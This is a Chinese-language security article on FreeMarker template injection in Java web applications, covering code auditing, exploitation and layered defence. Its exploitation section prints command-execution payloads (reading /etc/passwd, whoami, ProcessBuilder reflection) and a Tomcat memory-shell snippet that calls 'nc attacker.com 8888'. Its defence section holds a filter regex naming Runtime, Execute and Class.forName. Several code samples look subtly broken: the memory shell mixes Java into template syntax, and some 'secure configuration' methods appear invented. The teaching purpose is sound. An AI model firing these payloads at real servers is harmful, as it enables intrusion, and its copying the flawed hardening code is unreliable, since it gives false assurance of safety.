FreeMarker作为Java生态中最主流的模板引擎之一,广泛应用于Spring Boot、Struts2等框架的页面渲染、动态文本生成场景。随着模板引擎滥用问题的加剧,FreeMarker模板注入(FTL Injection)已成为Java Web应用高频高危漏洞,其危害可直达服务器权限控制层。
本文将从漏洞本质、审计方法论、利用演进、防御体系四个维度,结合实战案例与前瞻防御思路,完整拆解FreeMarker模板注入漏洞的全生命周期分析方法。
一、FreeMarker模板注入漏洞底层逻辑重构
1.1 模板引擎的核心执行流程(漏洞基础)
FreeMarker的执行逻辑可简化为「数据模型 + 模板文件 → 输出文本」,其核心依赖两大组件:
- Configuration:模板引擎的核心配置类,定义模板加载路径、语法规则、安全策略;
- Template:模板实例,承载模板语法解析与执行逻辑;
- ObjectWrapper:负责Java对象与FreeMarker数据模型的转换,是漏洞利用的关键入口。
执行流程可视化:
1.2 漏洞本质:语法执行边界的突破
FreeMarker模板注入的核心是「用户输入越过「数据」边界,进入「模板语法」执行域」:
- 正常场景:用户输入仅作为数据填充到模板的插值语法
${}中,仅做值渲染; - 漏洞场景:用户输入被直接拼接进模板字符串,成为语法本身,引擎会解析执行其中的指令/表达式。
关键差异对比(代码层面)
| 安全写法(数据传递) | 危险写法(语法拼接) |
|---|---|
| ```java | |
| // 数据与模板分离 | |
| model.addAttribute(“name”, userInput); | |
| Template template = cfg.getTemplate(“index.ftl”); | |
| // 模板文件中:Hello ${name} | |
| ``` | ```java |
| // 输入成为模板语法的一部分 | |
| String templateContent = "Hello " + userInput; | |
| Template template = new Template(“vuln”, new StringReader(templateContent), cfg); |
### 1.3 漏洞触发的核心条件(审计前置判断) 代码审计中,需先验证是否满足以下3个核心条件,再深入挖掘: 1. **输入可控**:用户输入(Request参数、Cookie、Body、数据库读取内容等)可进入模板渲染流程; 2. **模板动态化**:应用未使用静态模板文件,而是通过`new Template()`动态拼接模板内容; 3. **安全配置缺失**:未限制FreeMarker的类加载、方法调用、指令执行权限。 ## 二、FreeMarker模板注入漏洞审计方法论(实战落地) ### 2.1 审计前置准备:定位FreeMarker使用场景 #### 2.1.1 快速定位关键代码 通过以下特征在代码库中检索FreeMarker的使用痕迹: | 检索维度 | 关键特征 | 说明 | |----------|----------|------| | 依赖文件 | pom.xml中`org.freemarker:freemarker` | 确认FreeMarker版本(2.3.30以下风险更高) | | 配置类 | `@Configuration + FreeMarkerConfigurer` | Spring Boot中模板引擎的核心配置 | | 核心API | `Configuration.getTemplate()`/`Template.process()` | 模板加载与渲染的核心方法 | | 危险调用 | `new Template(String, Reader, Configuration)` | 动态创建模板的高危写法(重点关注) | #### 2.1.2 版本风险映射(2026最新版) | FreeMarker版本 | 核心风险点 | 防护能力 | |----------------|------------|----------| | ≤2.3.29 | 无默认类加载限制,可直接调用`Execute`工具类执行命令 | 无原生防护 | | 2.3.30-2.3.32 | 默认启用`SAFER_RESOLVER`,限制部分危险类加载 | 基础防护,仍可绕过 | | ≥2.3.33 | 禁用`TemplateClassResolver`的危险解析器,默认关闭API内置函数 | 增强防护,需结合配置加固 | ### 2.2 核心审计步骤:从线索到漏洞确认 #### 步骤1:追踪用户输入流向 - 从Controller层入手,定位接收用户输入的方法(`@RequestParam`/`@PathVariable`/`@RequestBody`); - 跟踪输入参数的传递路径,确认是否进入模板渲染相关方法; - 重点检查「输入参数 → 字符串拼接 → 模板内容」的链路(高危链路)。 #### 步骤2:验证模板加载方式 审计时需区分两种模板加载方式的风险: | 加载方式 | 代码示例 | 风险等级 | 审计要点 | |----------|----------|----------|----------| | 静态模板加载 | `cfg.getTemplate("static.ftl")` | 低 | 检查模板文件是否可被用户修改(如文件上传覆盖) | | 动态模板加载 | `new Template("dynamic", new StringReader(userInput), cfg)` | 极高 | 确认拼接的模板内容是否包含用户可控部分 | #### 步骤3:检查安全配置完整性 核心审计项(需全部满足才视为安全): ```java // 审计时需确认是否配置以下安全策略 Configuration cfg = new Configuration(Configuration.VERSION_2_3_33); // 1. 限制类加载(核心) cfg.setNewBuiltinClassResolver(TemplateClassResolver.NON_AUTOLOADABLE_RESOLVER); // 2. 禁用危险内置函数 cfg.setAPIBuiltinEnabled(false); cfg.setSharedVariable("execute", null); // 移除Execute工具类 // 3. 禁用对象解包(防止反射调用) cfg.setDisableObjectWrapperUnwrap(true); // 4. 限制模板加载路径 cfg.setTemplateLoader(new ClassTemplateLoader(this.getClass(), "/safe-templates"));2.3 典型漏洞场景审计案例(实战还原)
案例1:Spring Boot中动态模板拼接漏洞
漏洞代码:
@RestController@RequestMapping("/ftl")publicclassFtlVulnController{@GetMapping("/render")publicStringrender(@RequestParamStringcontent){// 漏洞点1:用户输入直接拼接模板内容StringftlContent="<html><body>"+content+"</body></html>";Configurationcfg=newConfiguration(Configuration.VERSION_2_3_28);// 漏洞点2:无任何安全配置try{Templatetemplate=newTemplate("vuln",newStringReader(ftlContent),cfg);StringWritersw=newStringWriter();template.process(newHashMap<>(),sw);returnsw.toString();}catch(Exceptione){returne.getMessage();}}}审计结论:
- 输入参数
content直接拼接进模板字符串,满足「输入可控+模板动态化」; - 未配置任何安全策略,FreeMarker使用默认低版本配置;
- 可通过Payload
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}执行系统命令。
案例2:间接模板注入(数据库存储模板内容)
漏洞代码:
@GetMapping("/renderFromDb")publicStringrenderFromDb(@RequestParamLongtemplateId){// 从数据库读取模板内容(攻击者可通过后台修改模板内容)StringftlContent=templateService.getTemplateContent(templateId);Configurationcfg=newConfiguration(Configuration.VERSION_2_3_30);Templatetemplate=newTemplate("db-template",newStringReader(ftlContent),cfg);// 渲染模板returntemplate.process(newHashMap<>(),newStringWriter()).toString();}审计结论:
- 模板内容来自数据库,若后台无权限控制/内容校验,攻击者可修改模板内容注入恶意语法;
- 虽使用2.3.30版本,但未配置
NON_AUTOLOADABLE_RESOLVER,仍可通过反射绕过防护。
三、FreeMarker模板注入漏洞利用演进(2026最新Payload)
3.1 基础利用(插值语法执行)
- 检测漏洞是否存在:
/render?content=${1+1}→ 输出2说明语法可执行; - 读取系统信息:
/render?content=${System.getProperty("user.dir")}。
3.2 进阶利用(命令执行)
3.2.1 低版本FreeMarker(≤2.3.29)
# 直接调用Execute工具类 ${"freemarker.template.utility.Execute"?new()("whoami")} # 反射调用Runtime ${Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("ls /")}3.2.2 高版本FreeMarker(≥2.3.30)
高版本默认限制Execute类加载,需通过TemplateClassResolver绕过:
# 绕过类加载限制 ${Class.forName("java.lang.ProcessBuilder", true, Thread.currentThread().getContextClassLoader()).newInstance(["/bin/bash","-c","whoami"]).start()}3.3 高级利用(内存马注入)
针对Web容器(Tomcat),可通过模板注入写入内存马,实现持久化控制:
${ // 获取Tomcat上下文 ctx = Class.forName("org.apache.catalina.core.ApplicationContextFacade").getMethod("getContext").invoke(request.getServletContext()); // 构造内存马 servlet = Class.forName("javax.servlet.http.HttpServlet").newInstance(); // 覆盖service方法执行命令 Class.forName("java.lang.reflect.Method").invoke(Class.forName("java.lang.reflect.Proxy").getMethod("newProxyInstance", ClassLoader.class, Class[].class, InvocationHandler.class), null, Thread.currentThread().getContextClassLoader(), [Class.forName("javax.servlet.http.HttpServlet")], new InvocationHandler() { public Object invoke(Object proxy, Method method, Object[] args) { if (method.getName().equals("service")) { Runtime.getRuntime().exec("nc attacker.com 8888"); } return null; } }); // 注册内存马 ctx.addServlet("maliciousServlet", servlet).addMapping("/malicious"); }四、FreeMarker模板注入漏洞防御体系(前瞻落地)
4.1 核心防御原则:数据与模板彻底分离
这是防御的核心,也是最根本的解决方案:
- 禁止任何形式的「用户输入拼接模板字符串」;
- 所有用户输入必须通过
Model/Map传递,仅作为数据填充到静态模板中; - 模板文件必须存储在固定目录,且禁止用户修改/上传模板文件。
安全代码示例:
@GetMapping("/safeRender")publicStringsafeRender(@RequestParamStringcontent,Modelmodel){// 1. 用户输入仅作为数据传递model.addAttribute("userContent",content);// 2. 加载静态模板文件Configurationcfg=getSafeConfiguration();Templatetemplate=cfg.getTemplate("safe.ftl");// 3. 渲染模板StringWritersw=newStringWriter();template.process(model,sw);returnsw.toString();}// 构建安全的Configuration(封装为工具类)privateConfigurationgetSafeConfiguration(){Configurationcfg=newConfiguration(Configuration.VERSION_2_3_33);// 核心安全配置cfg.setNewBuiltinClassResolver(TemplateClassResolver.NON_AUTOLOADABLE_RESOLVER);cfg.setAPIBuiltinEnabled(false);cfg.setDisableObjectWrapperUnwrap(true);cfg.setTemplateExceptionHandler(TemplateExceptionHandler.IGNORE_HANDLER);// 限制模板加载路径(仅允许加载classpath下的safe-templates目录)cfg.setClassForTemplateLoading(this.getClass(),"/safe-templates");// 禁用危险指令Set<String>forbiddenDirectives=newHashSet<>(Arrays.asList("assign","import","include"));cfg.setCustomDirectiveFactories((name,params)->{if(forbiddenDirectives.contains(name)){thrownewTemplateException("Forbidden directive: "+name,null);}returnnull;});returncfg;}4.2 分层防御策略(零信任架构)
第一层:输入校验(前置过滤)
对所有用户输入进行白名单过滤,禁止模板语法关键字:
// 输入过滤工具类publicclassFtlInputFilter{privatestaticfinalPatternFTL_PATTERN=Pattern.compile("\\$\\{|</?#|\\.\\.|java\\.lang|Runtime|Execute|Class\\.forName");publicstaticStringfilter(Stringinput){if(input==null)return"";// 替换模板语法关键字returnFTL_PATTERN.matcher(input).replaceAll("");}}第二层:安全配置(引擎层防护)
基于FreeMarker最新版本,启用全量安全配置(见4.1中getSafeConfiguration方法)。
第三层:运行时防护(容器层限制)
- 使用SecurityManager限制Java进程的系统调用权限;
- 对Tomcat/Jetty等容器进行权限加固,禁止模板引擎进程执行系统命令;
- 启用AppArmor/SELinux,限制进程的文件读写范围。
第四层:审计监控(行为检测)
- 记录所有模板渲染的输入输出日志,重点监控包含
${、Runtime等关键字的请求; - 对接SIEM系统,设置模板注入攻击的告警规则;
- 定期扫描代码库,检测动态模板创建的高危代码。
4.3 前瞻防御思路(2026+)
4.3.1 模板沙箱化执行
将模板渲染逻辑隔离到独立的沙箱进程中,即使模板注入成功,也无法突破沙箱权限:
- 使用Docker容器隔离模板渲染进程,限制容器的系统调用;
- 采用GraalVM的Native Image编译模板引擎,禁用反射、JNI等危险能力。
4.3.2 AI驱动的漏洞检测
- 基于LLM模型训练FreeMarker模板注入漏洞的代码特征,实现静态代码审计的自动化;
- 实时分析请求流量,通过AI识别恶意Payload的语义特征,提前拦截攻击。
五、总结与展望
核心结论
- FreeMarker模板注入的本质是「用户输入突破数据/语法边界」,审计核心是追踪输入流向+验证安全配置;
- 高版本FreeMarker虽增强了防护,但仍需结合「输入过滤+安全配置+运行时限制」的分层防御体系;
- 动态创建模板(
new Template())是最高危的写法,应在代码规范中明确禁止。
未来趋势
- FreeMarker官方将进一步收紧默认安全策略,逐步禁用反射、类加载等危险能力;
- 模板引擎的安全将从「被动防御」转向「主动隔离」,沙箱化、零信任将成为主流防护方案;
- AI驱动的自动化审计工具将大幅提升FreeMarker模板注入漏洞的检测效率和准确率。
关键落地建议
- 立即升级FreeMarker至2.3.33+版本,启用全量安全配置;
- 重构所有动态模板创建代码,改为「静态模板+Model传参」的安全写法;
- 建立模板文件的版本管控机制,禁止未授权修改模板内容;
- 定期进行漏洞扫描和渗透测试,验证防御措施的有效性。